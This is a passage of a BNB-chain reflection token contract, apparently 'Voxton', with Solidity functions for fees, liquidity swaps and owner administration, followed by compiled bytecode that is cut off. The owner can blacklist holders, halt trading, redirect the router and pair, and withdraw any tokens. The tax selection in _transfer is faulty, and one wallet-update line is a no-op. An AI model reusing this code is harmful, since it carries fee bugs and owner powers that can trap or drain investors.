s.tRfi*currentRate; rMarketing = s.tMarketing*currentRate; rLiquidity = s.tLiquidity*currentRate; rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity; return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply/tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply-_rOwned[_excluded[i]]; tSupply = tSupply-_tOwned[_excluded[i]]; } if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(!_isBot[from] && !_isBot[to], "You are a bot"); if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ require(tradingEnabled, "Trading not active"); }else{ if(from == pair){ taxes = buyTax; } if(to == pair){ taxes = sellTax; } if(from != pair && to != pair){ taxes = transferTax; } } bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ swapAndLiquify(swapTokensAtAmount); } _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] ) { //from excluded _tOwned[sender] = _tOwned[sender]-tAmount; } if (_isExcluded[recipient]) { //to excluded _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; } _rOwned[sender] = _rOwned[sender]-s.rAmount; _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount; if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi); if(s.rLiquidity > 0 || s.tLiquidity > 0) { _takeLiquidity(s.rLiquidity,s.tLiquidity); emit Transfer(sender, address(this), s.tLiquidity); } if(s.rMarketing > 0 || s.tMarketing > 0){ _takeMarketing(s.rMarketing, s.tMarketing); emit Transfer(sender, address(this), s.tMarketing); } emit Transfer(sender, recipient, s.tTransferAmount); } function swapAndLiquify(uint256 contractBalance) private lockTheSwap{ uint256 denominator = (taxes.liquidity + taxes.marketing) * 2; uint256 tokensToAddLiquidityWith = contractBalance * taxes.liquidity / denominator; uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForBNB(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity); uint256 bnbToAddLiquidityWith = unitBalance * taxes.liquidity; if(bnbToAddLiquidityWith > 0){ // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * taxes.marketing; if(marketingAmt > 0){ payable(marketingAddress).transfer(marketingAmt); } } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapTokensForBNB(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function updateMarketingWallet(address newWallet) external onlyOwner{ require(marketingAddress != newWallet ,'Wallet already set'); marketingAddress = newWallet; _isExcludedFromFee[marketingAddress]; } function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{ swapTokensAtAmount = amount * 10**_decimals; } function updateSwapEnabled(bool _enabled) external onlyOwner{ swapEnabled = _enabled; } function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{ router = IRouter(newRouter); pair = newPair; } //Use this in case BNB are sent to the contract by mistake function rescueBNB(uint256 weiAmount) external onlyOwner{ require(address(this).balance >= weiAmount, "insufficient BNB balance"); payable(msg.sender).transfer(weiAmount); } function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { IERC20(_tokenAddr).transfer(_to, _amount); } receive() external payable{ } }
0x6080604052600436106102555760003560e01c806370a0823111610139578063a5ece941116100b6578063d257b34f1161007a578063d257b34f146108fd578063dd62ed3e14610926578063e2f4560514610963578063ea2f0b371461098e578063f2fde38b146109b7578063f887ea40146109e05761025c565b8063a5ece94114610814578063a8aa1b311461083f578063a9059cbb1461086a578063aacebbe3146108a7578063cc1776d3146108d05761025c565b80638da5cb5b116100fd5780638da5cb5b1461072b578063924de9b71461075657806395d89b411461077f5780639ba5e4d5146107aa578063a457c2d7146107d75761025c565b806370a0823114610644578063715018a6146106815780637f13fe2f146106985780638124f7ac146106c157806388f82020146106ee5761025c565b806339509351116101d257806347c230921161019657806347c23092146105325780634ada218b1461055b5780634f7041a51461058657806352390c02146105b35780635342acb4146105dc5780636ddd1713146106195761025c565b8063395093511461043d57806340b28c2f1461047a578063437823ec146104a3578063441b1d30146104cc5780634549b039146104f55761025c565b806323b872dd1161021957806323b872dd146103465780632d83811914610383578063313ce567146103c05780633685d419146103eb578063379ba1d9146104145761025c565b806306fdde0314610261578063087332141461028c578063095ea7b3146102b557806318160ddd146102f25780631870517a1461031d5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610a0b565b60405161028391906145f4565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae91906140e5565b610a48565b005b3480156102c157600080fd5b506102dc60048036038101906102d79190613fde565b610b13565b6040516102e991906145be565b60405180910390f35b3480156102fe57600080fd5b50610307610b31565b6040516103149190614856565b60405180910390f35b34801561032957600080fd5b50610344600480360381019061033f91906140e5565b610b3b565b005b34801561035257600080fd5b5061036d60048036038101906103689190613f8b565b610c06565b60405161037a91906145be565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190614078565b610d07565b6040516103b79190614856565b60405180910390f35b3480156103cc57600080fd5b506103d5610d6e565b6040516103e29190614902565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190613ef1565b610d77565b005b34801561042057600080fd5b5061043b6004803603810190610436919061401e565b6110ad565b005b34801561044957600080fd5b50610464600480360381019061045f9190613fde565b611160565b60405161047191906145be565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c9190613f4b565b61120c565b005b3480156104af57600080fd5b506104ca60048036038101906104c59190613ef1565b61130e565b005b3480156104d857600080fd5b506104f360048036038101906104ee9190614078565b6113e5565b005b34801561050157600080fd5b5061051c600480360381019061051791906140a5565b6114ee565b6040516105299190614856565b60405180910390f35b34801561053e57600080fd5b5061055960048036038101906105549190613f8b565b611574565b005b34801561056757600080fd5b50610570611683565b60405161057d91906145be565b60405180910390f35b34801561059257600080fd5b5061059b611696565b6040516105aa939291906148cb565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d59190613ef1565b6116ae565b005b3480156105e857600080fd5b5061060360048036038101906105fe9190613ef1565b611949565b60405161061091906145be565b60405180910390f35b34801561062557600080fd5b5061062e61199f565b60405161063b91906145be565b60405180910390f35b34801561065057600080fd5b5061066b60048036038101906106669190613ef1565b6119b2565b6040516106789190614856565b60405180910390f35b34801561068d57600080fd5b50610696611a9d565b005b3480156106a457600080fd5b506106bf60048036038101906106ba91906140e5565b611b25565b005b3480156106cd57600080fd5b506106d6611bf0565b6040516106e5939291906148cb565b60405180910390f35b3480156106fa57600080fd5b5061071560048036038101906107109190613ef1565b611c08565b60405161072291906145be565b60405180910390f35b34801561073757600080fd5b50610740611c5e565b60405161074d9190614519565b60405180910390f35b34801561076257600080fd5b5061077d6004803603810190610778919061401e565b611c87565b005b34801561078b57600080fd5b50610794611d20565b6040516107a191906145f4565b60405180910390f35b3480156107b657600080fd5b506107bf611d5d565b6040516107ce939291906148cb565b60405180910390f35b3480156107e357600080fd5b506107fe60048036038101906107f99190613fde565b611d75565b60405161080b91906145be565b60405180910390f35b34801561082057600080fd5b50610829611e69565b6040516108369190614519565b60405180910390f35b34801561084b57600080fd5b50610854611e8f565b6040516108619190614519565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c9190613fde565b611eb5565b60405161089e91906145be565b60405180910390f35b3480156108b357600080fd5b506108ce60048036038101906108c99190613ef1565b611ed3565b005b3480156108dc57600080fd5b506108e5612091565b6040516108f4939291906148cb565b60405180910390f35b34801561090957600080fd5b50610924600480360381019061091f9190614078565b6120a9565b005b34801561093257600080fd5b5061094d60048036038101906109489190613f4b565b612147565b60405161095a9190614856565b60405180910390f35b34801561096f57600080fd5b506109786121ce565b6040516109859190614856565b60405180910390f35b34801561099a57600080fd5b506109b560048036038101906109b09190613ef1565b6121d4565b005b3480156109c357600080fd5b506109de60048036038101906109d99190613ef1565b6122ab565b005b3480156109ec57600080fd5b506109f56123a3565b604051610a0291906145d9565b60405180910390f35b60606040518060400160405280600681526020017f566f78746f6e0000000000000000000000000000000000000000000000000000815250905090565b610a506123c9565b73ffffffffffffffffffffffffffffffffffffffff16610a6e611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb90614776565b60405180910390fd5b8260116000018190555081601160010181905550806011600201819055507f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1560405160405180910390a1505050565b6000610b27610b206123c9565b84846123d1565b6001905092915050565b6000600a54905090565b610b436123c9565b73ffffffffffffffffffffffffffffffffffffffff16610b61611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae90614776565b60405180910390fd5b82600e6000018190555081600e6001018190555080600e600201819055507f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1560405160405180910390a1505050565b6000610c1384848461259c565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c5e6123c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd590614756565b60405180910390fd5b610cfb85610cea6123c9565b8584610cf69190614bc4565b6123d1565b60019150509392505050565b6000600b54821115610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4590614676565b60405180910390fd5b6000610d58612cc8565b90508083610d6691906149c8565b915050919050565b60006009905090565b610d7f6123c9565b73ffffffffffffffffffffffffffffffffffffffff16610d9d611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90614776565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e76906146f6565b60405180910390fd5b60005b6007805490508110156110a9578173ffffffffffffffffffffffffffffffffffffffff1660078281548110610eba57610eb9614d9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110965760076001600780549050610f159190614bc4565b81548110610f2657610f25614d9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660078281548110610f6557610f64614d9e565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600780548061105c5761105b614d6f565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556110a9565b80806110a190614cc8565b915050610e82565b5050565b6110b56123c9565b73ffffffffffffffffffffffffffffffffffffffff166110d3611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112090614776565b60405180910390fd5b80600860006101000a81548160ff02191690831515021790555080600860016101000a81548160ff02191690831515021790555050565b600061120261116d6123c9565b84846003600061117b6123c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fd9190614972565b6123d1565b6001905092915050565b6112146123c9565b73ffffffffffffffffffffffffffffffffffffffff16611232611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90614776565b60405180910390fd5b81600860036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6113166123c9565b73ffffffffffffffffffffffffffffffffffffffff16611334611c5e565b73ffffffffffffffffffffffffffffffffffffffff161461138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190614776565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6113ed6123c9565b73ffffffffffffffffffffffffffffffffffffffff1661140b611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614611461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145890614776565b60405180910390fd5b804710156114a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149b90614736565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114ea573d6000803e3d6000fd5b5050565b6000600a54831115611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90614716565b60405180910390fd5b81611556576000611547846001612cec565b9050806000015191505061156e565b6000611563846001612cec565b905080602001519150505b92915050565b61157c6123c9565b73ffffffffffffffffffffffffffffffffffffffff1661159a611c5e565b73ffffffffffffffffffffffffffffffffffffffff16146115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790614776565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b815260040161162b929190614534565b602060405180830381600087803b15801561164557600080fd5b505af1158015611659573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061167d919061404b565b50505050565b600860009054906101000a900460ff1681565b600e8060000154908060010154908060020154905083565b6116b66123c9565b73ffffffffffffffffffffffffffffffffffffffff166116d4611c5e565b73ffffffffffffffffffffffffffffffffffffffff161461172a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172190614776565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ae906146d6565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561188b57611847600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d07565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600860019054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a4d57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a98565b611a95600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d07565b90505b919050565b611aa56123c9565b73ffffffffffffffffffffffffffffffffffffffff16611ac3611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614611b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1090614776565b60405180910390fd5b611b236000612d46565b565b611b2d6123c9565b73ffffffffffffffffffffffffffffffffffffffff16611b4b611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614611ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9890614776565b60405180910390fd5b8260146000018190555081601460010181905550806014600201819055507f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1560405160405180910390a1505050565b60148060000154908060010154908060020154905083565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611c8f6123c9565b73ffffffffffffffffffffffffffffffffffffffff16611cad611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614611d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfa90614776565b60405180910390fd5b80600860016101000a81548160ff02191690831515021790555050565b60606040518060400160405280600481526020017f564f545800000000000000000000000000000000000000000000000000000000815250905090565b601a8060000154908060010154908060020154905083565b60008060036000611d846123c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3890614836565b60405180910390fd5b611e5e611e4c6123c9565b858584611e599190614bc4565b6123d1565b600191505092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611ec9611ec26123c9565b848461259c565b6001905092915050565b611edb6123c9565b73ffffffffffffffffffffffffffffffffffffffff16611ef9611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614611f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4690614776565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd7906147b6565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90505050565b60118060000154908060010154908060020154905083565b6120b16123c9565b73ffffffffffffffffffffffffffffffffffffffff166120cf611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614612125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211c90614776565b60405180910390fd5b6009600a6121339190614a4c565b8161213e9190614b6a565b600c8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b6121dc6123c9565b73ffffffffffffffffffffffffffffffffffffffff166121fa611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614612250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224790614776565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6122b36123c9565b73ffffffffffffffffffffffffffffffffffffffff166122d1611c5e565b73ffffffffffffffffffffffffffffffffffffffff1614612327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231e90614776565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612397576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238e90614696565b60405180910390fd5b6123a081612d46565b50565b600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612441576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612438906147f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906146b6565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161258f9190614856565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561260c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612603906147d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561267c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267390614616565b60405180910390fd5b600081116126bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b690614796565b60405180910390fd5b6126c8836119b2565b81111561270a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270190614656565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127ae5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6127ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e490614816565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128915750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128ea57600860009054906101000a900460ff166128e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128dc90614636565b60405180910390fd5b612aba565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561296657600e60176000820154816000015560018201548160010155600282015481600201559050505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e257601160176000820154816000015560018201548160010155600282015481600201559050505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612a8e5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ab957601460176000820154816000015560018201548160010155600282015481600201559050505b5b6000600c54612ac8306119b2565b10159050600860029054906101000a900460ff16158015612af55750600860019054906101000a900460ff165b8015612afe5750805b8015612b585750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612bae5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c045750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c1557612c14600c54612e0a565b5b612cc2848484600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cbc5750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612f9c565b50505050565b6000806000612cd5613466565b915091508082612ce591906149c8565b9250505090565b612cf4613e27565b612cfe8383613704565b9050612d13818484612d0e612cc8565b6137d2565b85600001866020018760400188606001896080018581525085815250858152508581525085815250505050505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600860026101000a81548160ff02191690831515021790555060006002601760010154601760020154612e3f9190614972565b612e499190614b6a565b905060008160176002015484612e5f9190614b6a565b612e6991906149c8565b905060008184612e799190614bc4565b90506000479050612e898261386a565b60008147612e979190614bc4565b9050600060176002015486612eac9190614bc4565b82612eb791906149c8565b9050600060176002015482612ecc9190614b6a565b90506000811115612ee257612ee18682613abc565b5b6000601760010154600284612ef79190614b6a565b612f019190614b6a565b90506000811115612f7657600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612f74573d6000803e3d6000fd5b505b50505050505050506000600860026101000a81548160ff02191690831515021790555050565b6000612fa88383612cec565b9050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561308b5782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130479190614bc4565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613170578060a00151600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312c9190614972565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060000151600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131bf9190614bc4565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132519190614972565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000816040015111806132ab575060008160c00151115b156132c3576132c281604001518260c00151613bb0565b5b6000816080015111806132db57506000816101000151115b1561335e576132f38160800151826101000151613be9565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361010001516040516133559190614856565b60405180910390a35b600081606001511180613375575060008160e00151115b156133f65761338c81606001518260e00151613d08565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360e001516040516133ed9190614856565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a001516040516134579190614856565b60405180910390a35050505050565b6000806000600b5490506000600a54905060005b6007805490508110156136ce578260016000600784815481106134a05761349f614d9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061358e575081600260006007848154811061352657613525614d9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156135a557600b54600a5494509450505050613700565b60016000600783815481106135bd576135bc614d